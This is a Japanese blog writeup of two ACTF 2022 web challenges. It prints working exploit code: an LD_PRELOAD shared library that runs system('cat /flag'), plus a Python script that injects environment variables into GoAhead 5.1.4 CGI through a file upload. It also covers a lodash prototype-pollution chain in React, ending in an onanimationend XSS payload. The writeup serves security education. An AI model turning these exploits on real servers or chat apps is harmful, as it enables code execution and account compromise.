st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ACTF 2022 writeup

6/25 - 6/27という日程で開催された。zer0ptsで参加して8位。

他のメンバーが書いたwrite-up:


[Web 145] gogogo (118 solves)

EmbedThis GoAhead 5.1.4上で以下のようなCGIスクリプトが動いている。それだけ。

#!/bin/bash

echo -e "Content-Type: text/plain\n"
echo -e "Welcome to ACTF!\n"
env

GoAhead 5.1.4というバージョン番号にはめちゃくちゃ見覚えがある。pbctf 2021のAdvancementだ。これは0-day問で、multipart/form-data でPOSTすると環境変数を自由に変更した上でCGIスクリプトを実行させられるというものだった。脆弱性の詳細はメンバーのKahlaさんがまとめられていたのでそちらを参照のこと。

ahmed-belkahla.me

今回はbashスクリプトなので PYTHONWARNINGS のような環境変数は使えない。ただ、 docker-compose.ymlread_only: true が指定されていないので、前回は使えなかったが今度はファイルのアップロードと組み合わせることで LD_PRELOAD が使えるはずだ。

LD_PRELOAD でアップロードしたファイルをロードさせるには、一時ファイルのパスを知る必要がある。幸いにもCGIスクリプトenv環境変数として一時ファイルのパスを教えてくれるし、ファイル名は /tmp/tmp-66.tmp のように予測可能だ。

まず、LD_PRELOAD でロードすると cat /flag が実行されるライブラリを作成する。コンパイル後に strip でわざわざシンボルを取り除いているのは、GoAheadの最大アップロードサイズに引っかからないようにするため。

// gcc -shared -fPIC evil.c -o evil.so; strip evil.so; ls -l evil.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void neko(void) {
  unsetenv("LD_PRELOAD");
  system("cat /flag");
}

あとは適当なファイルをアップロードすることで、次にアップロードする一時ファイルのパスを推測し、evil.so をアップロードしつつ LD_PRELOAD でそれをロードさせるスクリプトを書く。

import re
import requests
URL = 'http://123.60.84.229:10218/cgi-bin/hello'

r = requests.post(URL, files={'test': ('a.txt', 'test')})
x = re.findall(r'/tmp/tmp-(\d+).tmp', r.text)[0]

next_path = '/tmp/tmp-{}.tmp'.format(int(x) + 3)

with open('evil.so', 'rb') as so:
    r = requests.post(URL, files={
        'neko': so,
    }, data={
        'LD_PRELOAD': next_path
    })
    print(r.text)

実行するとフラグが得られた。

$ python3 solve.py
Welcome to ACTF!

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}HTTP_ACCEPT_ENCODING=gzip, deflate
SERVER_NAME=172.19.0.2
FILE_FILENAME_neko=/tmp/tmp-4.tmp
…
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}

[Web 434] poorui (27 solves)

フロントエンドがReactな感じのチャットアプリと、そのソースコードが与えられる。フロントエンドはminifiedされたソースコードしか与えられない…のかと思いきや、ソースマップがついてきていてありがたい。

与えられたURLにアクセスしてユーザ名を入力すると、そのままサービスが利用できる。パスワードを入力する必要はないが、ユーザ名がすでに取得されているものである場合には弾かれる。

問題名の通り大変簡素なUIになっている。メッセージタイプには Text, link, image, template があり、それぞれ普通のテキスト、指定したURLへのリンク、指定したURLの画像、指定したテンプレートにメッセージがレンダリングされるやつ。

目標は admin としてログインし、flagbot というユーザと会話することだ。この admin というユーザは以下のようなスクリプトで、定期的に自身に送られてきたメッセージを確認している。わざわざPuppeteerを使っているあたり、XSS問っぽい。

import puppeteer from "puppeteer";

const SERVER_URL = 'http://localhost:8081/chat';
const USERNAME = 'admin';

(async () => {
    const browser = await puppeteer.launch({
        headless: process.env.DEBUG ?? true,
        args: ['--no-sandbox']
    });
    const page = await browser.newPage()
    await page.goto(SERVER_URL)
    await page.type('#username', USERNAME)
    await page.click('#btn-login')
    page.on('load', () => {
        console.log(page.url())
        if(page.url() !== SERVER_URL){
            setTimeout(async () => {
                await page.goto(SERVER_URL)
                await page.type('#username', USERNAME)
                await page.click('#btn-login')
            }, 3000);
        }
    })
})();

Prototype Pollutionを見つけるまで

脆弱性がないかフロントエンドのコードを眺めていたら、KahlaさんがLodashでPrototype Pollutionができそうという投稿をされた。

_.VERSION でバージョンを確認してみると、確かに4.17.4と5年前にリリースされたもので古い。試しに _.merge({}, JSON.parse('{"__proto__":{"abc":123}}')) してみると、({}).abc123 が入っていた。Prototype Pollutionができるっぽい。

_.merge を使っている箇所を探すと、js/components/ChatBox.js というファイルで templateCompile というテンプレートをレンダリングするためのメソッドが見つかった。ここで ctx はユーザが自由に変更できる値で、それが lodash.merge に渡っている。

    templateCompile(tpl, ctx){
        let attrs = {}
        // console.log(tpl)
        Array.from(tpl.matchAll(/{{\s*(\w+)\s*}}/g)).forEach(a => {
            attrs[a[1]] = 'unknown'
        })
        lodash.merge(attrs, JSON.parse(ctx))
        console.log(attrs)
        for(let k in attrs){
            tpl = tpl.replaceAll(`{{${k}}}`, attrs[k])
        }
        let out = <iframe title={this.state.tplCnt} sandbox="" srcDoc={tpl}> wow </iframe>
        return out
    }

ただ、このメソッドに渡ってくるまでに js/utils/util.jssanitize という関数によって <, >, \, _ の4つの記号が削除されてしまっている。__proto__ が使えないので、constructor.prototype で代替する。

export const sanitize = (s) => {
    if(typeof s === 'string'){
        return s.replaceAll(/<|>|\\|_/g, '')
    }
    if(typeof s === 'object'){
        for(const [k, v] of Object.entries(s)){
            s[k] = sanitize(v)
        }
        return s
    }
    return s
}

{"constructor":{"prototype":{"abc":123}}} というJSON付きの、メッセージタイプが template であるメッセージを適当なユーザに送る。受信者のユーザで受信後に ({}).abc を確認すると、123 が入っていた。Prototype Pollutionが成功したっぽい。

gadget探し その1

あとはgadgetを探すだけだが、なかなか見つからない。フロントエンドのコード内でなにかないか探していると、image というメッセージタイプのメッセージの処理が見つかった。画像を表示するためには this.props.allowImageattrs.wow がtruthyでなければならない。後者の attrs は先程の ctx と同様にユーザが自由に変更できる値だが、前者はそうでない。Prototype Pollutionの使いどころだ。

        if(type === 'image'){
            // console.log(this.props)
            const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs
            if(this.props.allowImage && attrs.wow){
                return <div style={{
                    backgroundImage: `url(${data.src})`,
                    backgroundSize: "contain",
                    backgroundRepeat: "no-repeat",
                    // width: '100%',
                    padding: '25%',
                    height: 0,
                }} {...attrs}/>
            }else{
                return <p className="warning-text">sorry, <code>allowImage</code> is false</p>
            }
        }

以下の手順で、送信先のユーザに強制的に画像を見せることができるようになった。

  1. template として {"constructor":{"prototype":{"allowImage":true}}} を送信する
  2. image として {"wow":true} を送信する

gadget探し その2

先程の画像を表示する処理のJSXをもう一度見てみる。なぜかスプレッド構文で div にユーザから与えられた attrs を展開している。onfocus のような属性も付与できるのではないかと思ったが、残念ながらこのままではできない。とりあえず、まずはこれで好きな属性を付与できるかだけ確認する。

                return <div style={{
                    backgroundImage: `url(${data.src})`,
                    backgroundSize: "contain",
                    backgroundRepeat: "no-repeat",
                    // width: '100%',
                    padding: '25%',
                    height: 0,
                }} {...attrs}/>

先程の手順2で image として送信するJSONを、{"wow":true} から {"wow":true,"id":"test","class":"hoge"} に変更する。そのまま送信して、受信者側から受け取ったメッセージのDOMを確認すると、次のように idclass がそれぞれ指定した値になっていることが確認できた。

なんとかこれをバイパスして、onfocus なども含めた任意の属性を付与できないかいろいろ調べた。react prototype pollution ctf とかやけくそな検索ワードで、redpwnCTF 2021のMdPwnという過去問のwriteupがヒットした。挑んで解けなかった記憶がある。いわく、is というプロパティがあれば、属性名はチェックされないらしい。そんな。

とりあえず、次の手順で試してみる。

  1. template として {"constructor":{"prototype":{"allowImage":true,"is":"is"}}} を送信する
  2. image として {"wow":true,"neko":"kawaii"} を送信する

受信者側で手順2で送信されたメッセージのDOMを確認すると、wowneko という属性が生えているのを確認できた。

あとはやるだけ感があるが、onfocus + autofocus + contenteditable はなんかしらんけどうまくいかん、ほかの属性だと何が使えるのだろう…と悩んでいた。

またフロントエンドのコードを眺めていて、読み込まれている /static/css/main.c7f24255.css というCSSファイル中で @keyframes App-logo-spin{…} とキーフレームが定義されていることに気づく。これと onanimationend を組み合わせればJSの実行に持ち込めるのではないか。

先程の手順2で送信するJSONを以下のものに変更する。

{
    "wow": true,
    "onanimationend": "alert(123)",
    "style": {
        "animation-name": "App-logo-spin",
        "animation-duration": "0.1s",
        "transform": "rotate(45deg)",
        "background": "red",
        "width": "50px",
        "height": "50px"
    }
}

受信者側で確認すると、アラートが表示されていた。

でも、リモートのadmin botくんが踏んでくれない。

つらい

なんじゃこりゃと思いつつ、admin botのコードを読み直す。そういえばユーザ名だけでログインできて、またサービスは定期的に再起動されるのだったと思い出す。admin botより先に admin としてログインできればよいのではないか。

再起動のタイミングを狙って admin としてログインする。flagbot にメッセージを投げるとフラグが得られた。

ACTF{s0rry_for_4he_po0r_front3ndui:)_4FB89F0AAD0A}